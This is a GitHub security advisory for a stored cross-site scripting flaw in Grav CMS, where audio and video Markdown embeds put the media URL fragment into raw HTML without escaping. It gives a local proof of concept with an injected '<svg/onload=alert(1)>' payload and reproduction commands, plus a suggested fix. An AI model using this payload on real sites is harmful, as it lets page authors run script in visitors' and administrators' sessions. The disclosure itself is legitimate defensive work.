GHSA-6QW9-4VV5-JR97
Vulnerability from github – Published: 2026-09-17 17:31 – Updated: 2026-09-17 17:32Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Summary
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so >) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
Root Cause
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):
protected function sourceParsedownElement(array $attributes, $reset = true)
{
$location = $this->url($reset);
return [
'name' => 'audio',
'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
'attributes' => $attributes
];
}
$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the querystring path do not cover the fragment:
- The GFM tagfilter —
ParsedownGravTrait::filterDisallowedRawHtml()L528-535 — escapes<only fortitle|textarea|style|xmp|iframe|noembed|noframes|script|plaintext.<svg>and<img>are not on the list, so they inject as live markup. - The
__callquerystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their=()and execute.
The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
Steps to Reproduce
Prerequisites
- PHP >= 8.0 with the built-in web server (verified on 8.5)
- curl
- unzip
Step 1: Download Grav 2.0.13 (latest stable, self-contained core)
mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip
Step 2: Create a page with an audio file and a malicious Markdown embed
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
>)
MD
Step 3: Start Grav
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
Step 4: Fetch the rendered page and show the un-escaped injection
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Suggested Fix
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
Cleanup
kill %1 2>/dev/null
rm -rf /tmp/grav-xss
Impact
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.14"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75831"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:31:41Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Target:** github.com/getgrav/grav \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` \u2014 verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f` \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N \u2014 anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L) \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `\u003csource\u003e` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `\u003e)` breaks out of `\u003csource src=\"\u2026\"\u003e` and injects arbitrary HTML \u2014 including a script-executing `\u003csvg onload\u003e` \u2014 into the rendered page. Any user who views the page runs the attacker\u0027s JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker\u0027s script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `\u003csource\u003e` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute \u2014 [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n $location = $this-\u003eurl($reset);\n return [\n \u0027name\u0027 =\u003e \u0027audio\u0027,\n \u0027rawHtml\u0027 =\u003e \u0027\u003csource src=\"\u0027 . $location . \u0027\"\u003eYour browser does not support the audio tag.\u0027,\n \u0027attributes\u0027 =\u003e $attributes\n ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** \u2014 [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown\u0027s escaping \u2014 [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) \u2014 and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `\u003c`, `\u003e`, `=`, `(`, `)` in the fragment survive into the raw `\u003csource\u003e`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter \u2014 [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) \u2014 escapes `\u003c` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `\u003csvg\u003e` and `\u003cimg\u003e` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected \u2014 an image\u0027s `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP \u003e= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss \u0026\u0026 cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf \u0027ID3fakeaudio\u0027 \u003e user/pages/03.poc/sound.mp3\ncat \u003e user/pages/03.poc/default.md \u003c\u003c\u0027MD\u0027\n---\ntitle: XSS PoC\n---\n\u003e)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3\u003c\u003e/dev/tcp/127.0.0.1/8390) 2\u003e/dev/null \u0026\u0026 { exec 3\u003e\u0026-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o \u0027\u003caudio.*\u003c/audio\u003e\u0027\n```\n\nExpected output:\n\n```\n\u003caudio controls=\"controls\" alt=\"sound\"\u003e\u003csource src=\"/user/pages/03.poc/sound.mp3?loading=auto\u0026decoding=auto\u0026fetchpriority=auto#\"\u003e\u003csvg/onload=alert(1)\u003e\"\u003eYour browser does not support the audio tag.\u003c/audio\u003e\n```\n\nThe `\u003csource src=\"\u2026#\"\u003e` is closed by the injected `\"` and `\u003e`, and `\u003csvg/onload=alert(1)\u003e` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG\u0027s `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML=\u0027XSS_\u2026\u0027` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `\u003csource src=\"\u2026\"\u003e` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `\u003csource\u003e` through Parsedown\u0027s escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2\u003e/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `\u003csvg onload\u003e` runs in the viewer\u0027s origin \u2014 a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav\u0027s body renderer already passes interaction-based `\u003ca href=\"javascript:\"\u003e` / `\u003cform action=\"javascript:\"\u003e` raw but escapes auto-firing `\u003cimg onerror\u003e` / `\u003csvg onload\u003e` on block tags \u2014 the audio/video `\u003csource\u003e` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author\u2192viewer boundary to safe CSS) left open.",
"id": "GHSA-6qw9-4vv5-jr97",
"modified": "2026-09-17T17:32:10Z",
"published": "2026-09-17T17:31:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75831"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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